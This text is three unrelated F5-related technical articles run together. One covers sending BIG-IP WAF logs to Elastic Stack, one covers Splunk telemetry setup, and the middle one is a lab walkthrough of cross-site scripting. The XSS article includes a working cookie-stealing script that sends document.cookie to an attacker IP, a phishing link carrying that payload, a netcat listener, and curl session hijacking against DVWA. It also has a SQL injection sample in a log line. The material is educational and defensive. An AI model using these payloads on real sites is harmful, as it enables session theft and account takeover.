BIG-IP and Elastic Stack infrastructure.They will also need to be familiar with the network topology linking the BIG-IP with the Elastic Search cluster/infrastructure. It is assumed that you want to use your Elastic Search (ELK) logging infrastructure to gain visibility into BIG-IP WAF events. Logging Profile Configuration An essential part of getting WAF logs to the proper destination(s) is the Logging Profile.The following will go over the configuration of the Logging Profile that sends data to the Elastic Stack. Overview of the steps: Create Logging Profile Associate Logging Profile with the Virtual Server After following the procedure below On the wire, logs lines sent from the BIG-IP are comma separated value pairs that look something like the sample below: Aug 25 03:07:19 localhost.localdomainASM:unit_hostname="bigip1",management_ip_address="192.168.41.200",management_ip_address_2="N/A",http_class_name="/Common/log_to_elk_policy",web_application_name="/Common/log_to_elk_policy",policy_name="/Common/log_to_elk_policy",policy_apply_date="2020-08-10 06:50:39",violations="HTTP protocol compliance failed",support_id="5666478231990524056",request_status="blocked",response_code="0",ip_client="10.43.0.86",route_domain="0",method="GET",protocol="HTTP",query_string="name='",x_forwarded_for_header_value="N/A",sig_ids="N/A",sig_names="N/A",date_time="2020-08-25 03:07:19",severity="Error",attack_type="Non-browser Client,HTTP Parser Attack",geo_location="N/A",ip_address_intelligence="N/A",username="N/A",session_id="0",src_port="39348",dest_port="80",dest_ip="10.43.0.201",sub_violations="HTTP protocol compliance failed:Bad HTTP version",virus_name="N/A",violation_rating="5",websocket_direction="N/A",websocket_message_type="N/A",device_id="N/A",staged_sig_ids="",staged_sig_names="",threat_campaign_names="N/A",staged_threat_campaign_names="N/A",blocking_exception_reason="N/A",captcha_result="not_received",microservice="N/A",tap_event_id="N/A",tap_vid="N/A",vs_name="/Common/adv_waf_vs",sig_cves="N/A",staged_sig_cves="N/A",uri="/random",fragment="",request="GET /random?name=' or 1 = 1' HTTP/1.1\r\n",response="Response logging disabled" Please choose one of the methods below.The configuration can be done through the web-based user interface (TMUI), the command line interface (TMSH), directly with a declarative AS3 REST API call, or with the BIG-IP native REST API.This last option is not discussed herein. TMUI Steps: Create Profile Connect to the BIG-IP web UI and login with administrative rights Navigate to Security >> Event Logs >> Logging Profiles Select “Create” Fill out the configuration fields as follows: Profile Name (mandatory) Enable Application Security Set Storage Destination to Remote Storage Set Logging Format to Key-Value Pairs (Splunk) In the Server Addresses field, enter an IP Address and Port then click on Add as shown below: Click on Create Add Logging Profile to virtual server with the policy Select target virtual server and click on the Security tab (Local Traffic >> Virtual Servers : Virtual Server List >> [target virtualserver] ) Highlight the Log Profile from the Available column and put it in the Selected column as shown in the example below (log profile is “log_all_to_elk”): Click on Update At this time the BIG-IP will forward logs Elastic Stack. TMSH Steps: Create profile ssh into the BIG-IP command line interface (CLI) from the tmsh prompt enter the following: create security log profile [name_of_profile] application add { [name_of_profile] { logger-type remote remote-storage splunk servers add { [IP_address_for_ELK]:[TCP_Port_for_ELK] { } } } } For example: create security log profile dc_show_creation_elk application add { dc_show_creation_elk { logger-type remote remote-storage splunk servers add { 10.45.0.79:5244 { } } } } 3. ensure that the changes are saved: save sys config partitions all Add Logging Profile to virtual server with the policy 1.From the tmsh prompt (assuming you are still logged in) enter the following: modify ltm virtual [VS_name] security-log-profiles add { [name_of_profile] } For example: modify ltm virtual adv_waf_vs security-log-profiles add { dc_show_creation_elk } 2.ensure that the changes are saved: save sys config partitions all At this time the BIG-IP sends logs to the Elastic Stack. AS3 Application Services 3 (AS3) is a BIG-IP configuration API endpoint that allows the user to create an application from the ground up.For more information on F5’s AS3, refer to link. In order to attach a security policy to a virtual server, the AS3 declaration can either refer to a policy present on the BIG-IP or refer to a policy stored in XML format and available via HTTP to the BIG-IP (ref. link). The logging profile can be created and associated to the virtual server directly as part of the AS3 declaration. For more information on the creation of a WAF logging profile, refer to the documentation found here. The following is an example of a pa rt of an AS3 declaration that will create security log profile that can be used to log to Elastic Stack: "secLogRemote": { "class": "Security_Log_Profile", "application": { "localStorage": false, "maxEntryLength": "10k", "protocol": "tcp", "remoteStorage": "splunk", "reportAnomaliesEnabled": true, "servers": [ { "address": "10.45.0.79", "port": "5244" } ] } In the sample above, the ELK stack IP address is 10.45.0.79 and listens on port 5244 for BIG-IP WAF logs.Note that the log format used in this instance is “Splunk”.There are no declared filters and thus, only the illegal requests will get logged to the Elastic Stack.A sample AS3 declaration can be found here. ELK Configuration The Elastic Stack configuration consists of creating a new input on Logstash.This is achieved by adding an input/filter/ output configuration to the Logstash configuration file.Optionally, the Logstash administrator might want to create a separate pipeline – for more information, refer to this link. The following is a Logstash configuration known to work with WAF logs coming from BIG-IP: input { syslog { port => 5244 } } filter { grok { match => { "message" => [ "attack_type=\"%{DATA:attack_type}\"", ",blocking_exception_reason=\"%{DATA:blocking_exception_reason}\"", ",date_time=\"%{DATA:date_time}\"", ",dest_port=\"%{DATA:dest_port}\"", ",ip_client=\"%{DATA:ip_client}\"", ",is_truncated=\"%{DATA:is_truncated}\"", ",method=\"%{DATA:method}\"", ",policy_name=\"%{DATA:policy_name}\"", ",protocol=\"%{DATA:protocol}\"", ",request_status=\"%{DATA:request_status}\"", ",response_code=\"%{DATA:response_code}\"", ",severity=\"%{DATA:severity}\"", ",sig_cves=\"%{DATA:sig_cves}\"", ",sig_ids=\"%{DATA:sig_ids}\"", ",sig_names=\"%{DATA:sig_names}\"", ",sig_set_names=\"%{DATA:sig_set_names}\"", ",src_port=\"%{DATA:src_port}\"", ",sub_violations=\"%{DATA:sub_violations}\"", ",support_id=\"%{DATA:support_id}\"", "unit_hostname=\"%{DATA:unit_hostname}\"", ",uri=\"%{DATA:uri}\"", ",violation_rating=\"%{DATA:violation_rating}\"", ",vs_name=\"%{DATA:vs_name}\"", ",x_forwarded_for_header_value=\"%{DATA:x_forwarded_for_header_value}\"", ",outcome=\"%{DATA:outcome}\"", ",outcome_reason=\"%{DATA:outcome_reason}\"", ",violations=\"%{DATA:violations}\"", ",violation_details=\"%{DATA:violation_details}\"", ",request=\"%{DATA:request}\"" ] } break_on_match => false } mutate { split => { "attack_type" => "," } split => { "sig_ids" => "," } split => { "sig_names" => "," } split => { "sig_cves" => "," } split => { "staged_sig_ids" => "," } split => { "staged_sig_names" => "," } split => { "staged_sig_cves" => "," } split => { "sig_set_names" => "," } split => { "threat_campaign_names" => "," } split => { "staged_threat_campaign_names" => "," } split => { "violations" => "," } split => { "sub_violations" => "," } } if [x_forwarded_for_header_value] != "N/A" { mutate { add_field => { "source_host" => "%{x_forwarded_for_header_value}"}} } else { mutate { add_field => { "source_host" => "%{ip_client}"}} } geoip { source => "source_host" } } output { elasticsearch { hosts => ['localhost:9200'] index => "big_ip-waf-logs-%{+YYY.MM.dd}" } } After adding the configuration above to the Logstash parameters, you will need to restart the Logstash instance to take the new logs into configuration.The sample above is also available here. The Elastic Stack is now ready to process the incoming logs.You can start sending traffic to your policy and start seeing logs populating the Elastic Stack. If you are looking for a test tool to generate traffic to your Virtual Server, F5 provides a simpleWAF tester tool that can be found here. At this point, you can start creating dashboards on the Elastic Stack that will satisfy your operational needs with the following overall steps: ·Ensure that the log index is being created (Stack Management >> Index Management) ·Create a Kibana Index Pattern (Stack Management>>Index patterns) ·You can now peruse the logs from the Kibana discover menu (Discover) ·And start creating visualizations that will be included in your Dashboards (Dashboards >> Editing Simple WAF Dashboard) A complete Elastic Stack configuration can be found here – note that this can be used with both BIG-IP WAF and NGINX App Protect. Conclusion You can now leverage the widely available Elastic Stack to log and visualize BIG-IP WAF logs.From dashboard perspective it may be useful to track the following metrics: -Request Rate -Response codes -The distribution of requests in term of clean, blocked or alerted status -Identify the top talkers making requests -Track the top URL’s being accessed -Top violator source IP An example or the dashboard might look like the following:Cross Site Scripting (XSS) Exploit Paths
Introduction Web application threats continue to cause serious security issues for large corporations and small businesses alike. In 2016, even the smallest, local family businesses have a Web presence, and it is important to understand the potential attack surface in any web-facing asset, in order to properly understand vulnerabilities, exploitability, and thus risk. The Open Web Application Security Project (OWASP) is a non-profit organization dedicated to ensuring the safety and security of web application software, and periodically releases a Top 10 list of common categories of web application security flaws. The current list is available at https://www.owasp.org/index.php/Top_10_2013-Top_10 (an updated list for 2016/2017 is currently in data call announcement), and is used by application developers, security professionals, software vendors and IT managers as a reference point for understanding the nature of web application security vulnerabilities. This article presents a detailed analysis of the OWASP security flaw A3: Cross-Site Scripting (XSS), including descriptions of the three broad types of XSS and possibilities for exploitation. Cross Site Scripting (XSS) Cross-Site Scripting (XSS) attacks are a type of web application injection attack in which malicious script is delivered to a client browser using the vulnerable web app as an intermediary. The general effect is that the client browser is tricked into performing actions not intended by the web application. The classic example of an XSS attack is to force the victim browser to throw an ‘XSS!’ or ‘Alert!’ popup, but actual exploitation can result in the theft of cookies or confidential data, download of malware, etc. Persistent XSS Persistent (or Stored) XSS refers to a condition where the malicious script can be stored persistently on the vulnerable system, such as in the form of a message board post. Any victim browsing the page containing the XSS script is an exploit target. This is a very serious vulnerability as a public stored XSS vulnerability could result in many thousands of cookies stolen, drive-by malware downloads, etc. As a proof-of-concept for cookie theft on a simple message board application, consider the following: Here is our freshly-installed message board application. Users can post comments, admins can access the admin panel. Let’s use the typical POC exercise to validate that the message board is vulnerable to XSS: Sure enough, it is: Just throwing a dialog box is kinda boring, so let’s do something more interesting. I’m going to inject a persistent XSS script that will steal the cookies of anyone browsing the vulnerable page: Now I start a listener on my attacking box, this can be as simple as netcat, but can be any webserver of your choosing (python simpleHTTPserver is another nice option). dsyme@kylie:~$ sudo nc -nvlp 81 And wait for someone – hopefully the site admin – to browse the page. The admin has logged in and browsed the page. Now, my listener catches the HTTP callout from my malicious script: And I have my stolen cookie PHPSESSID=lrft6d834uqtflqtqh5l56a5m4 . Now I can use an intercepting proxy or cookie manager to impersonate admin. Using Burp: Or, using Cookie Manager for Firefox: Now I’m logged into the admin page: Access to a web application CMS is pretty close to pwn. From here I can persist my access by creating additional admin accounts (noisy), or upload a shell (web/php reverse) to get shell access to the victim server. Bear in mind that using such techniques we could easily host malware on our webserver, and every victim visiting the page with stored XSS would get a drive-by download. Non-Persistent XSS Non-persistent (or reflected) XSS refers to a slightly different condition in which the malicious content (script) is immediately returned by a web application, be it through an error message, search result, or some other means that echoes some part of the request back to the client. Due to their nonpersistent nature, the malicious code is not stored on the vulnerable webserver, and hence it is generally necessary to trick a victim into opening a malicious link in order to exploit a reflected XSS vulnerability. We’ll use our good friend DVWA (Damn Vulnerable Web App) for this example. First, we’ll validate that it is indeed vulnerable to a reflected XSS attack: It is. Note that this can be POC’d by using the web form, or directly inserting code into the ‘name’ parameter in the URL. Let’s make sure we can capture a cookie using the similar manner as before. Start a netcat listener on 192.168.178.136:81 (and yes, we could use a full-featured webserver for this to harvest many cookies), and inject the following into the ‘name’ parameter: <SCRIPT>document.location='http://192.168.178.136:81/?'+document.cookie</SCRIPT> We have a cookie, PHPSESSID=ikm95nv7u7dlihhlkjirehbiu2 . Let’s see if we can use it to login from the command line without using a browser: $ curl -b "security=low;PHPSESSID=ikm95nv7u7dlihhlkjirehbiu2" --location "http://192.168.178.140/dvwa/" > login.html $ dsyme@kylie:~$ egrep Username login.html <div align="left"><em>Username:</em> admin<br /><em>Security Level:</em> low<br /><em>PHPIDS:</em> disabled</div> Indeed we can. Now, of course, we just stole our own cookie here. In a real attack we’d be wanting to steal the cookie of the actual site admin, and to do that, we’d need to trick him or her into clicking the following link: http://192.168.178.140/dvwa/vulnerabilities/xss_r/?name=victim<SCRIPT>document.location='http://192.168.178.136:81/?'+document.cookie</SCRIPT> Or, easily enough to put into an HTML message like this. And now we need to get our victim to click the link. A spear phishing attack might be a good way. And again, we start our listener and wait. Of course, instead of stealing admin’s cookies, we could host malware on a webserver somewhere, and distribute the malicious URL by phishing campaign, host on a compromised website, distribute through Adware (there are many possibilities), and wait for drive-by downloads. The malicious links are often obfuscated using a URL-shortening service. DOM-Based XSS DOM-based XSS is an XSS attack in which the malicious payload is executed as a result of modification of the Document Object Model (DOM) environment of the victim browser. A key differentiator between DOM-based and traditional XSS attacks is that in DOM-based attacks the malicious code is not sent in the HTTP response from server to client. In some cases, suspicious activity may be detected in HTTP requests, but in many cases no malicious content is ever sent to or from the webserver. Usually, a DOM-based XSS vulnerability is introduced by poor input validation on a client-side script. A very nice demo of DOM-based XSS is presented at https://xss-doc.appspot.com/demo/3. Here, the URL Fragment (the portion of the URL after #, which is never sent to the server) serve as input to a client-side script – in this instance, telling the browser which tab to display: Unfortunately, the URL fragment data is passed to the client-side script in an unsafe fashion. Viewing the source of the above webpage, line 8 shows the following function definition: And line 33: In this case we can pass a string to the URL fragment that we know will cause the function to error, e.g. “foo”, and set an error condition. Reproducing the example from the above URL with full credit to the author, it is possible to inject code into the error condition causing an alert dialog: Which could be modified in a similar fashion to steal cookies etc. And of course we could deface the site by injecting an image of our choosing from an external source: There are other possible vectors for DOM-based XSS attacks, such as: Unsanitized URL or POST body parameters that are passed to the server but do not modify the HTTP response, but are stored in the DOM to be used as input to the client-side script. An example is given at https://www.owasp.org/index.php/DOM_Based_XSS Interception of the HTTP response to include additional malicious scripts (or modify existing scripts) for the client browser to execute. This could be done with a Man-in-the-Browser attack (malicious browser extensions), malware, or response-side interception using a web proxy. Like reflected XSS, exploitation is often accomplished by fooling a user into clicking a malicious link. DOM-based XSS is typically a client-side attack. The only circumstances under which server-side web-based defences (such as mod_security, IDS/IPS or WAF) are able to prevent DOM-based XSS is if the malicious script is sent from client to server, which is not usually the case for DOM-based XSS. As many more web applications utilize client-side components (such as sending periodic AJAX calls for updates), DOM-based XSS vulnerabilities are on the increase – an estimated 10% of the Alexa top 10k domains contained DOM-based XSS vulnerabilities according to Ben Stock, Sebastian Lekies and Martin Johns (https://www.blackhat.com/docs/asia-15/materials/asia-15-Johns-Client-Side-Protection-Against-DOM-Based-XSS-Done-Right-(tm).pdf). Preventing XSS XSS vulnerabilities exist due to a lack of input validation, whether on the client or server side. Secure coding practices, regular code review, and white-box penetration testing are the best ways to prevent XSS in a web application, by tackling the problem at source. OWASP has a detailed list of rules for XSS prevention documented at https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet. There are many other resources online on the topic. However, for many (most?) businesses, it may not be possible to conduct code reviews or commit development effort to fixing vulnerabilities identified in penetration tests. In most cases, XSS can be easily prevented by the deployment of Web Application Firewalls. Typical mechanisms for XSS-prevention with a WAF are: Alerting on known XSS attack signatures Prevention of input of <script> tags to the application unless specifically allowed (rare) Prevention of input of < ,> characters in web forms Multiple URL decoding to prevent bypass attempts using encoding Enforcement of value types in HTTP parameters Blocking non-alphanumeric characters where they are not permitted Typical IPS appliances lack the HTTP intelligence to be able to provide the same level of protection as a WAF. For example, while an IPS may block the <script> tag (if it is correctly configured to intercept SSL), it may not be able to handle the URL decoding required to catch obfuscated attacks. F5 Silverline is a cloud-based WAF solution and provides native and quick protection against XSS attacks. This can be an excellent solution for deployed production applications that include XSS vulnerabilities, because modifying the application code to remove the vulnerability can be time-consuming and resource-intensive. Full details of blocked attacks (true positives) can be viewed in the Silverline portal, enabling application and network administrators to extract key data in order to profile attackers: Similarly, time-based histograms can be displayed providing details of blocked XSS campaigns over time. Here, we can see that a serious XSS attack was prevented by Silverline WAF on September 1 st : F5 Application Security Manager (ASM) can provide a similar level of protection in an on-premise capacity. It is of course highly recommended that any preventive controls be tested – which typically means running an automated vulnerability scan (good) or manual penetration test (better) against the application once the control is in place. As noted in the previous section, do not expect web-based defences such as a WAF to protect against DOM-based XSS as most attack vectors do no actually send any malicious traffic to the server.How I did it - "Visualizing Data with F5 TS and Splunk"
The new Splunk Add-on for F5 BIG-IPincludes several objects, (modular inputs, CIM-knowledge, etc.) that work to “normalize” incoming BIG-IP data for use with other Splunk apps, such as Splunk Enterprise Security and the Splunk App for PCI Compliance. The add-on includes a mechanism for pulling network traffic data, system logs, system settings, performance metrics, and traffic statistics from the F5 BIG-IP platform using F5’s iControl API, (see below). But what I'm really excited about is that the add-on now integrates with F5 Telemetry Streaming, (TS).With TS I am easily able to declaratively aggregate, normalize, and push BIG-IP statistics and events, (JSON-formatted) to a variety of third-party analytics vendors. For the remainder of this article, we’ll take a look at how I integrate F5 TS with Splunk Enterprise.I’ll be working with an existing BIG-IP deployment as well as a newly deployed Splunk Enterprise instance.As an added bonus, (and since it’s part of the article’s title) I’ll import a couple custom dashboards, (see below) to visualize our newly ingested telemetry data. Oh! As an "Extra" added bonus, here is a link to a video walk through of this solution. Installing the Splunk Add-on for F5 BIG-IP and Splunk CIM Installing the Splunk F5 add-on is very simple.Additionally, to make use of the add-on I’ll need to install Splunk’s Common Information Model, (CIM). 1.From the top Splunk the search page, I select ‘Apps’ → ‘Find More Apps’. 2.I browse for “CIM” and select the Splunk Common Information Model add-on. 3.I accept the license agreement, provide my Splunk account login credentials and select ‘Login and Install’. 4.I’ll repeat steps 2-3 to install the Splunk Add-on for F5 BIG-IP. Setup Splunk HTTP Event Collector To receive incoming telemetry data into my Splunk Enterprise environment over HTTP/HTTPs I will need to create an HTTP Event Collector. 1.From the UI I select ‘Settings’ → ‘Data Inputs’.I select ‘HTTP Event Collector’ from the input list. 2.Prior to creating a new event collector token, I must first enable token access for my Splunk environment. On the ‘HTTP Event Collector’ page, I select ‘Global Settings’.I set‘All Tokens’ to enabled, default index, incoming port and ensure SSL is enabled.I click ‘Save’ to exit. 3.I select ‘New Token’ and provide a name for the new collector and select ‘Next’. 4.On the ‘Input Settings’ tab I’ll select my allowed index(es) and select ‘Review’ then ‘Submit’. 5.Once the token is created, I will need to copy the token for use with my F5 TS configuration. Configure Telemetry Streaming With my Splunk environment ready to receive telemetry data, I now turn my attention to configuring the BIG-IP for telemetry streaming.Fortunately, F5’s Automation Toolchain configuring the BIG-IP is quite simple. 1.I’ll use Postman to POST an AS3 declaration to configure telemetry resources, (telemetry listener, log publisher, logging profiles, etc.). The above AS3 declaration, (available here) deploys the required BIG-IP objects for pushing event data to a third-party vendor. Notably, it creates four (4) logging profiles I’ll attach to my application’s virtual server. 2.Still using Postman, I POST my TS declaration, (sample).I will need to provide my Splunk HTTP Collector endpoint address/port as well as the token generated previously. Associate Logging Profiles to Virtual Server The final step to configuring the BIG-IP for telemetry streaming is associating the logging profiles I just created with my existing virtual server. In addition to system telemetry, these logging profiles, when assigned to a virtual,will send LTM, AVR, and ASM telemetry. 1.From the BIG-IP management UI, I select ‘Local Traffic’ → ‘Virtual Servers’ → <virtual>. 2.Under ‘Configuration’ I select ‘Advanced’, scroll down and select the HTTP, TCP, and request logging profiles previously created.I select ‘Update’ at the bottom of the page to save 3.From the top of the virtual server page, I select ‘Security’ → ‘Policies’.From the policy settings page, I can see that there is an existing WAF policy associated with my application.To enable ASM logging, I select the previously created ASM logging profile from the available logging profiles and select ‘Update’ to save my changes. With the configuration process complete, I should now start seeing event data in my Splunk Environment. Import Dashboards “Ok, so I have event data streaming into my Splunk environment; now what?” Since I have installed the Splunk F5 add-on, I can integrate my “normalized” data with other data sources to populate various Splunk applications like Splunk Enterprise Security and Splunk App for PCI Compliance.Likewise, I can use dashboards to visualizemy telemetry data as well as monitor BIG-IP resources/processes.To finish up, I’ll use the following steps to create custom dashboards visualizing BIG-IP metrics and Advanced WAF, (formerly ASM) attack information. 1.From the Splunk Search page, I navigate to the Dashboards page by selecting ‘Dashboards’. 2.Select ‘Create New Dashboard’ from the Dashboards page. 3.Provide a name for the new dashboard and select ‘Create Dashboard’.The dashboard name, (ID will remain unchanged) will be updated in the next step where I replace the newly created dashboard’s XML source with one of the community-supported dashboard XML files here. 4.On the ‘Edit Dashboard' screen I select ‘Source’ to edit the dashboard XML.I replace the existing XML data with the contents of the ‘advWafInsights.xml’ file.Select ‘Save’ to install the new dashboard. 5.I’ll repeat steps 1-4 using ‘bigipSystemMetrics.xml’ to install the BIG-IP metrics dashboard, Additional Links ·F5 Telemetry Streaming ·Splunk Add-on for F5 BIG-IP ·Splunk Common Information Model ·F5 Automation Toolchain
